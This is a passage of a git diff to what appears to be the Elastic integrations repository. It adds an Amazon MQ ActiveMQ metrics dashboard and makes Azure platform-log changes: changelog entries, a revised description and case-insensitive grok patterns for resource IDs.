"parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 10 + }, + "scale": "ordinal", + "sourceField": "aws.dimensions.Queue" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "accessors": [ + "d4578b24-c384-4c74-bf14-a4900ebe1283" + ], + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "eui_amsterdam_color_blind", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "c01a91f8-d296-42ca-853d-edf813bc208b", + "layerType": "data", + "position": "top", + "seriesType": "area", + "showGridlines": false, + "splitAccessor": "27a661ab-bc06-4a95-89fc-927ccb1f70b5", + "xAccessor": "5b2321f5-1641-4130-a8ae-19cd853a12d0", + "yConfig": [ + { + "axisMode": "right", + "forAccessor": "d4578b24-c384-4c74-bf14-a4900ebe1283" + } + ] + }, + { + "accessors": [ + "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35" + ], + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "elastic_brand_2023", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "e788bbcc-bd10-4a67-a1e4-b62775f429e4", + "layerType": "data", + "position": "top", + "seriesType": "area", + "showGridlines": false, + "splitAccessor": "ba5d228a-69b4-4baf-8202-b3bbc0682126", + "xAccessor": "addde7fc-8bbe-4168-8713-830dcbb84dcd", + "yConfig": [ + { + "axisMode": "left", + "forAccessor": "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35" + } + ] + } + ], + "legend": { + "isVisible": true, + "position": "bottom" + }, + "preferredSeriesType": "area", + "title": "Empty XY chart", + "valueLabels": "hide" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "description": "Producer count is the number of producers for the queue. Consumer count is the number of consumers subscribed to the queue.", + "enhancements": {} + }, + "gridData": { + "h": 14, + "i": "8e1331e0-41ee-48d8-9ea3-b70efec60e0e", + "w": 16, + "x": 32, + "y": 62 + }, + "panelIndex": "8e1331e0-41ee-48d8-9ea3-b70efec60e0e", + "title": "Producer vs Consumer count", + "type": "lens" + }, + { + "embeddableConfig": { + "enhancements": { + "dynamicActions": { + "events": [] + } + }, + "hidePanelTitles": true, + "savedVis": { + "data": { + "aggs": [], + "searchSource": { + "filter": [], + "query": { + "language": "kuery", + "query": "" + } + } + }, + "description": "", + "id": "", + "params": { + "fontSize": 12, + "markdown": "#### Queue Metrics", + "openLinksInNewTab": false + }, + "title": "", + "type": "markdown", + "uiState": {} + } + }, + "gridData": { + "h": 3, + "i": "186b6c8e-fc87-4825-b38b-1a5bdc6da490", + "w": 48, + "x": 0, + "y": 59 + }, + "panelIndex": "186b6c8e-fc87-4825-b38b-1a5bdc6da490", + "title": "", + "type": "visualization" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "metrics-*", + "layers": { + "c01a91f8-d296-42ca-853d-edf813bc208b": { + "columnOrder": [ + "27a661ab-bc06-4a95-89fc-927ccb1f70b5", + "5b2321f5-1641-4130-a8ae-19cd853a12d0", + "d4578b24-c384-4c74-bf14-a4900ebe1283" + ], + "columns": { + "27a661ab-bc06-4a95-89fc-927ccb1f70b5": { + "dataType": "string", + "isBucketed": true, + "label": "Top 10 values of aws.dimensions.Queue", + "operationType": "terms", + "params": { + "exclude": [ + ".*Advisory.*" + ], + "excludeIsRegex": true, + "include": [ + "" + ], + "includeIsRegex": true, + "missingBucket": false, + "orderBy": { + "columnId": "d4578b24-c384-4c74-bf14-a4900ebe1283", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 10 + }, + "scale": "ordinal", + "sourceField": "aws.dimensions.Queue" + }, + "5b2321f5-1641-4130-a8ae-19cd853a12d0": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + }, + "d4578b24-c384-4c74-bf14-a4900ebe1283": { + "customLabel": true, + "dataType": "number", + "filter": { + "language": "kuery", + "query": "NOT aws.dimensions.Topic : \"*.Advisory.*\"" + }, + "isBucketed": false, + "label": "Enqueue time", + "operationType": "average", + "params": { + "emptyAsNull": true, + "format": { + "id": "duration", + "params": { + "compact": true, + "decimals": 0, + "fromUnit": "milliseconds", + "toUnit": "humanizePrecise" + } + } + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.destination.EnqueueTime.avg" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "accessors": [ + "d4578b24-c384-4c74-bf14-a4900ebe1283" + ], + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "eui_amsterdam_color_blind", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "c01a91f8-d296-42ca-853d-edf813bc208b", + "layerType": "data", + "position": "top", + "seriesType": "area_stacked", + "showGridlines": false, + "splitAccessor": "27a661ab-bc06-4a95-89fc-927ccb1f70b5", + "xAccessor": "5b2321f5-1641-4130-a8ae-19cd853a12d0" + } + ], + "legend": { + "isVisible": true, + "position": "bottom" + }, + "preferredSeriesType": "area_stacked", + "title": "Empty XY chart", + "valueLabels": "hide" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "enhancements": {} + }, + "gridData": { + "h": 14, + "i": "4111cfe2-7eac-4b78-99bc-08400b3c9b81", + "w": 16, + "x": 0, + "y": 62 + }, + "panelIndex": "4111cfe2-7eac-4b78-99bc-08400b3c9b81", + "title": "Queue enqueue time", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-e788bbcc-bd10-4a67-a1e4-b62775f429e4", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "metrics-*", + "layers": { + "c01a91f8-d296-42ca-853d-edf813bc208b": { + "columnOrder": [ + "27a661ab-bc06-4a95-89fc-927ccb1f70b5", + "5b2321f5-1641-4130-a8ae-19cd853a12d0", + "d4578b24-c384-4c74-bf14-a4900ebe1283" + ], + "columns": { + "27a661ab-bc06-4a95-89fc-927ccb1f70b5": { + "dataType": "string", + "isBucketed": true, + "label": "Top 10 values of aws.dimensions.Queue", + "operationType": "terms", + "params": { + "exclude": [ + ".*Advisory.*" + ], + "excludeIsRegex": true, + "include": [ + "" + ], + "includeIsRegex": true, + "missingBucket": false, + "orderBy": { + "columnId": "d4578b24-c384-4c74-bf14-a4900ebe1283", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 10 + }, + "scale": "ordinal", + "sourceField": "aws.dimensions.Queue" + }, + "5b2321f5-1641-4130-a8ae-19cd853a12d0": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + }, + "d4578b24-c384-4c74-bf14-a4900ebe1283": { + "customLabel": true, + "dataType": "number", + "filter": { + "language": "kuery", + "query": "NOT aws.dimensions.Topic : \"*.Advisory.*\"" + }, + "isBucketed": false, + "label": "Enqueue count", + "operationType": "max", + "params": { + "emptyAsNull": true, + "format": { + "id": "number", + "params": { + "compact": true, + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.destination.EnqueueCount.sum" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + }, + "e788bbcc-bd10-4a67-a1e4-b62775f429e4": { + "columnOrder": [ + "ba5d228a-69b4-4baf-8202-b3bbc0682126", + "addde7fc-8bbe-4168-8713-830dcbb84dcd", + "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35" + ], + "columns": { + "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Dequeue count", + "operationType": "max", + "params": { + "emptyAsNull": true, + "format": { + "id": "number", + "params": { + "compact": true, + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.destination.DequeueCount.sum" + }, + "addde7fc-8bbe-4168-8713-830dcbb84dcd": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + }, + "ba5d228a-69b4-4baf-8202-b3bbc0682126": { + "dataType": "string", + "isBucketed": true, + "label": "Top 10 values of aws.dimensions.Queue", + "operationType": "terms", + "params": { + "exclude": [ + ".*Advisory.*" + ], + "excludeIsRegex": true, + "include": [ + "" + ], + "includeIsRegex": true, + "missingBucket": false, + "orderBy": { + "columnId": "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 10 + }, + "scale": "ordinal", + "sourceField": "aws.dimensions.Queue" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "accessors": [ + "d4578b24-c384-4c74-bf14-a4900ebe1283" + ], + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "eui_amsterdam_color_blind", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "c01a91f8-d296-42ca-853d-edf813bc208b", + "layerType": "data", + "position": "top", + "seriesType": "area", + "showGridlines": false, + "splitAccessor": "27a661ab-bc06-4a95-89fc-927ccb1f70b5", + "xAccessor": "5b2321f5-1641-4130-a8ae-19cd853a12d0" + }, + { + "accessors": [ + "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35" + ], + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "elastic_brand_2023", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "e788bbcc-bd10-4a67-a1e4-b62775f429e4", + "layerType": "data", + "position": "top", + "seriesType": "area", + "showGridlines": false, + "splitAccessor": "ba5d228a-69b4-4baf-8202-b3bbc0682126", + "xAccessor": "addde7fc-8bbe-4168-8713-830dcbb84dcd", + "yConfig": [ + { + "axisMode": "right", + "forAccessor": "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35" + } + ] + } + ], + "legend": { + "isVisible": true, + "position": "bottom" + }, + "preferredSeriesType": "area", + "title": "Empty XY chart", + "valueLabels": "hide" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "description": "Enqueue count is the number of messages sent to the queue. \tDequeue count is the number of messages acknowledged by consumers", + "enhancements": {} + }, + "gridData": { + "h": 14, + "i": "48dbe1aa-7f23-47b3-aa72-968ec413348c", + "w": 16, + "x": 16, + "y": 62 + }, + "panelIndex": "48dbe1aa-7f23-47b3-aa72-968ec413348c", + "title": "Enqueue vs Dequeue count", + "type": "lens" + } + ], + "timeRestore": false, + "title": "[Amazon MQ] ActiveMQ Overview", + "version": 2 + }, + "coreMigrationVersion": "8.8.0", + "created_at": "2025-02-22T06:12:12.150Z", + "id": "aws_mq-787931c1-b9eb-4c6d-9993-e9014e135071", + "managed": true, + "references": [ + { + "id": "metrics-*", + "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "dbc2f529-a9f9-4d72-8052-a00f1be83ca8:indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "d283b8f3-abd3-40d6-95c0-4eb9b7ed9927:indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "231ff3ae-2395-43ea-ba5e-7ecc83c01fe9:indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "231ff3ae-2395-43ea-ba5e-7ecc83c01fe9:indexpattern-datasource-layer-9f090cb9-ced1-44d1-956a-78936c15d125", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "4589d24e-3705-4993-8d43-49bb8c347738:indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "1cb87e1f-3bd3-46dc-88a2-733ab9043551:indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "0083352f-a49e-4c37-9cdd-65956d59111c:indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "d0441ad2-aa47-4dd9-827f-4151bb4e823f:indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "2a409820-b562-44e5-905b-4ac12a9471a2:indexpattern-datasource-layer-950f9c94-6e0a-442b-aac9-563db74dc340", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "2a409820-b562-44e5-905b-4ac12a9471a2:indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "8199eef4-d274-432e-bc63-63e060a6e721:indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "25a4cd1f-0ca5-4b31-878c-4d1a8e71d344:indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "25a4cd1f-0ca5-4b31-878c-4d1a8e71d344:indexpattern-datasource-layer-950f9c94-6e0a-442b-aac9-563db74dc340", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "408b8f4a-fab1-4f37-90cd-8bb34db91bfa:indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "408b8f4a-fab1-4f37-90cd-8bb34db91bfa:indexpattern-datasource-layer-950f9c94-6e0a-442b-aac9-563db74dc340", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "3881c9bf-d72e-4f98-8373-721f9886883c:indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "c30fdfcd-03bd-4a98-b6c1-b0cea98ba072:indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "c30fdfcd-03bd-4a98-b6c1-b0cea98ba072:indexpattern-datasource-layer-e788bbcc-bd10-4a67-a1e4-b62775f429e4", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "a46e0c8a-f573-4beb-848d-178f39c1e98a:indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "a46e0c8a-f573-4beb-848d-178f39c1e98a:indexpattern-datasource-layer-e788bbcc-bd10-4a67-a1e4-b62775f429e4", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "8e1331e0-41ee-48d8-9ea3-b70efec60e0e:indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "8e1331e0-41ee-48d8-9ea3-b70efec60e0e:indexpattern-datasource-layer-e788bbcc-bd10-4a67-a1e4-b62775f429e4", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "4111cfe2-7eac-4b78-99bc-08400b3c9b81:indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "48dbe1aa-7f23-47b3-aa72-968ec413348c:indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "48dbe1aa-7f23-47b3-aa72-968ec413348c:indexpattern-datasource-layer-e788bbcc-bd10-4a67-a1e4-b62775f429e4", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "controlGroup_a76377d2-071c-4db0-8556-c0f005664ca4:optionsListDataView", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "controlGroup_b37d4456-a0e3-42e4-8bf2-12de33e003b3:optionsListDataView", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "controlGroup_5c9fc0ab-11a1-4240-8270-b62238f12624:optionsListDataView", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "controlGroup_23566730-88c9-4ade-bcb0-90328e9c6fdf:optionsListDataView", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "controlGroup_5e26381c-be65-4c74-babc-1f9cc2102a75:optionsListDataView", + "type": "index-pattern" + } + ], + "type": "dashboard", + "typeMigrationVersion": "10.2.0" +} \ No newline at end of file diff --git a/packages/aws_mq/manifest.yml b/packages/aws_mq/manifest.yml index 02d3eed7a27..4a7f9103f83 100644 --- a/packages/aws_mq/manifest.yml +++ b/packages/aws_mq/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.3.1 name: aws_mq title: "Amazon MQ" -version: 0.1.0 +version: 0.3.0 description: "Collect Amazon MQ metrics with Elastic Agent" type: integration categories: @@ -15,13 +15,13 @@ conditions: elastic: subscription: "basic" screenshots: - - src: /img/amazom-mq-config-screenshot.png - title: AmazonMQ configuration screenshot - size: 1126×1634 + - src: /img/amazonmq-activemq-dashboard.png + title: ActiveMQ overview dashboard + size: 4062x4818 type: image/png icons: - src: /img/aws-mq-logo.svg - title: AmazonMQ logo + title: Amazon MQ logo size: 32x32 type: image/svg+xml policy_templates: diff --git a/packages/azure/changelog.yml b/packages/azure/changelog.yml index d58dfc0fbb4..da95410c660 100644 --- a/packages/azure/changelog.yml +++ b/packages/azure/changelog.yml @@ -1,3 +1,13 @@ +- version: "1.22.2" + changes: + - description: Fix Platform Logs pipeline inconsistent casing for subscription_id field. + type: bugfix + link: https://github.com/elastic/integrations/pull/12735 +- version: 1.22.1 + changes: + - description: Fix the custom storage container description for the Azure Logs integration v2. + type: bugfix + link: https://github.com/elastic/integrations/pull/12926 - version: 1.22.0 changes: - description: Add support for Kibana `9.0.0` diff --git a/packages/azure/data_stream/events/manifest.yml b/packages/azure/data_stream/events/manifest.yml index f99aac1c229..d5bcf2d68fd 100644 --- a/packages/azure/data_stream/events/manifest.yml +++ b/packages/azure/data_stream/events/manifest.yml @@ -46,7 +46,7 @@ streams: required: false show_user: false description: > - The storage account container where the integration stores the checkpoint data for the consumer group. It is an advanced option to use with extreme care. You MUST use a dedicated storage account container for each Azure log type (activity, sign-in, audit logs, and others). DO NOT REUSE the same container name for more than one Azure log type. See [Container Names](https://docs.microsoft.com/en-us/rest/api/storageservices/naming-and-referencing-containers--blobs--and-metadata#container-names) for details on naming rules from Microsoft. The integration generates a default container name if not specified. + The storage account container where the integration stores the checkpoint data. It is an advanced option to use with extreme care. You MUST use a dedicated storage account container for this integration. DO NOT REUSE the same container name for more than one integration. See [Container Names](https://docs.microsoft.com/en-us/rest/api/storageservices/naming-and-referencing-containers--blobs--and-metadata#container-names) for details on naming rules from Microsoft. The integration generates a default container name if not specified. - name: tags type: text title: Tags diff --git a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-edgecases.log-expected.json b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-edgecases.log-expected.json index d857e15ebfc..ce0ed6ee4e1 100644 --- a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-edgecases.log-expected.json +++ b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-edgecases.log-expected.json @@ -117,4 +117,4 @@ ] } ] -} \ No newline at end of file +} diff --git a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-identity-raw.log-expected.json b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-identity-raw.log-expected.json index ebe273ae56a..98351c4e433 100644 --- a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-identity-raw.log-expected.json +++ b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-identity-raw.log-expected.json @@ -46,4 +46,4 @@ ] } ] -} \ No newline at end of file +} diff --git a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-invalid-raw.log-expected.json b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-invalid-raw.log-expected.json index fe2c5e46230..a751172707c 100644 --- a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-invalid-raw.log-expected.json +++ b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-invalid-raw.log-expected.json @@ -141,4 +141,4 @@ ] } ] -} \ No newline at end of file +} diff --git a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-kube.log-expected.json b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-kube.log-expected.json index 992e568b905..0e8a4f27950 100644 --- a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-kube.log-expected.json +++ b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-kube.log-expected.json @@ -41,4 +41,4 @@ ] } ] -} \ No newline at end of file +} diff --git a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-raw.log-expected.json b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-raw.log-expected.json index 976ceeb00b4..6e35a099a2c 100644 --- a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-raw.log-expected.json +++ b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-raw.log-expected.json @@ -87,4 +87,4 @@ ] } ] -} \ No newline at end of file +} diff --git a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-remote-raw.log-expected.json b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-remote-raw.log-expected.json index 7b1b1df1294..802f6bcfb7e 100644 --- a/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-remote-raw.log-expected.json +++ b/packages/azure/data_stream/platformlogs/_dev/test/pipeline/test-platformlogs-remote-raw.log-expected.json @@ -45,4 +45,4 @@ ] } ] -} \ No newline at end of file +} diff --git a/packages/azure/data_stream/platformlogs/elasticsearch/ingest_pipeline/azure-shared-pipeline.yml b/packages/azure/data_stream/platformlogs/elasticsearch/ingest_pipeline/azure-shared-pipeline.yml index 7290fc00b5b..adfbaed90cd 100644 --- a/packages/azure/data_stream/platformlogs/elasticsearch/ingest_pipeline/azure-shared-pipeline.yml +++ b/packages/azure/data_stream/platformlogs/elasticsearch/ingest_pipeline/azure-shared-pipeline.yml @@ -7,8 +7,7 @@ processors: - grok: field: azure.resource_id patterns: - - /SUBSCRIPTIONS/%{SUBID:azure.subscription_id}/RESOURCEGROUPS/%{GROUPID:azure.resource.group}/PROVIDERS/%{PROVIDERNAME:azure.resource.provider}/NAMESPACES/%{NAMESPACE:azure.resource.namespace}/AUTHORIZATIONRULES/%{RULE:azure.resource.authorization_rule} - - /subscriptions/%{SUBID:azure.subscription_id}/resourceGroups/%{GROUPID:azure.resource.group}/providers/%{PROVIDERNAME:azure.resource.provider}/namespaces/%{NAMESPACE:azure.resource.namespace}/authorizationRules/%{RULE:azure.resource.authorization_rule} + - /(?i)subscriptions/%{SUBID:azure.subscription_id}/RESOURCEGROUPS/%{GROUPID:azure.resource.group}/PROVIDERS/%{PROVIDERNAME:azure.resource.provider}/NAMESPACES/%{NAMESPACE:azure.resource.namespace}/AUTHORIZATIONRULES/%{RULE:azure.resource.authorization_rule} pattern_definitions: SUBID: (\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1} GROUPID: .+ @@ -20,8 +19,7 @@ processors: field: azure.resource_id if: 'ctx.azure?.subscription_id == null' patterns: - - /SUBSCRIPTIONS/%{SUBID:azure.subscription_id}/RESOURCEGROUPS/%{GROUPID:azure.resource.group}/PROVIDERS/%{PROVIDERNAME:azure.resource.provider}/%{NAME:azure.resource.name} - - /subscriptions/%{SUBID:azure.subscription_id}/resourceGroups/%{GROUPID:azure.resource.group}/providers/%{PROVIDERNAME:azure.resource.provider}/%{NAME:azure.resource.name} + - /(?i)subscriptions/%{SUBID:azure.subscription_id}/resourceGroups/%{GROUPID:azure.resource.group}/providers/%{PROVIDERNAME:azure.resource.provider}/%{NAME:azure.resource.name} pattern_definitions: SUBID: (\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1} GROUPID: .+ @@ -32,8 +30,7 @@ processors: field: azure.resource_id if: 'ctx.azure?.subscription_id == null' patterns: - - /SUBSCRIPTIONS/%{SUBID:azure.subscription_id}/RESOURCEGROUPS/%{GROUPID:azure.resource.group}/PROVIDERS/%{PROVIDERNAME:azure.resource.provider}/%{NAME:azure.resource.name} - - /subscriptions/%{SUBID:azure.subscription_id}/resourceGroups/%{GROUPID:azure.resource.group}/providers/%{PROVIDERNAME:azure.resource.provider}/%{NAME:azure.resource.name} + - /(?i)subscriptions/%{SUBID:azure.subscription_id}/resourceGroups/%{GROUPID:azure.resource.group}/providers/%{PROVIDERNAME:azure.resource.provider}/%{NAME:azure.resource.name} pattern_definitions: SUBID: (\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1} GROUPID: .+ @@ -53,8 +50,7 @@ processors: field: azure.resource_id if: 'ctx.azure?.subscription_id == null' patterns: - - /SUBSCRIPTIONS/%{SUBID:azure.subscription_id}/PROVIDERS/%{PROVIDERNAME:azure.resource.provider} - - /subscriptions/%{SUBID:azure.subscription_id}/providers/%{PROVIDERNAME:azure.resource.provider} + - /(?i)subscriptions/%{SUBID:azure.subscription_id}/providers/%{PROVIDERNAME:azure.resource.provider} pattern_definitions: SUBID: (\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1} PROVIDERNAME: ([A-Za-z])\w+.([A-Za-z])\w+\/([A-Za-z][^\/])\w+ @@ -63,8 +59,7 @@ processors: field: azure.resource_id if: 'ctx.azure?.subscription_id == null' patterns: - - /SUBSCRIPTIONS/%{SUBID:azure.subscription_id}/RESOURCEGROUPS/%{GROUPID:azure.resource.group} - - /subscriptions/%{SUBID:azure.subscription_id}/resourceGroups/%{GROUPID:azure.resource.group} + - /(?i)subscriptions/%{SUBID:azure.subscription_id}/resourceGroups/%{GROUPID:azure.resource.group} pattern_definitions: SUBID: (\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1} GROUPID: .+ @@ -73,8 +68,7 @@ processors: field: azure.resource_id if: 'ctx.azure?.subscription_id == null' patterns: - - /SUBSCRIPTIONS/%{SUBID:azure.subscription_id} - - /subscriptions/%{SUBID:azure.subscription_id} + - /(?i)subscriptions/%{SUBID:azure.subscription_id} pattern_definitions: SUBID: (\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1} ignore_failure: true diff --git a/packages/azure/data_stream/platformlogs/elasticsearch/ingest_pipeline/default.yml b/packages/azure/data_stream/platformlogs/elasticsearch/ingest_pipeline/default.yml index 1e7b216435e..19a8e971524 100644 --- a/packages/azure/data_stream/platformlogs/elasticsearch/ingest_pipeline/default.yml +++ 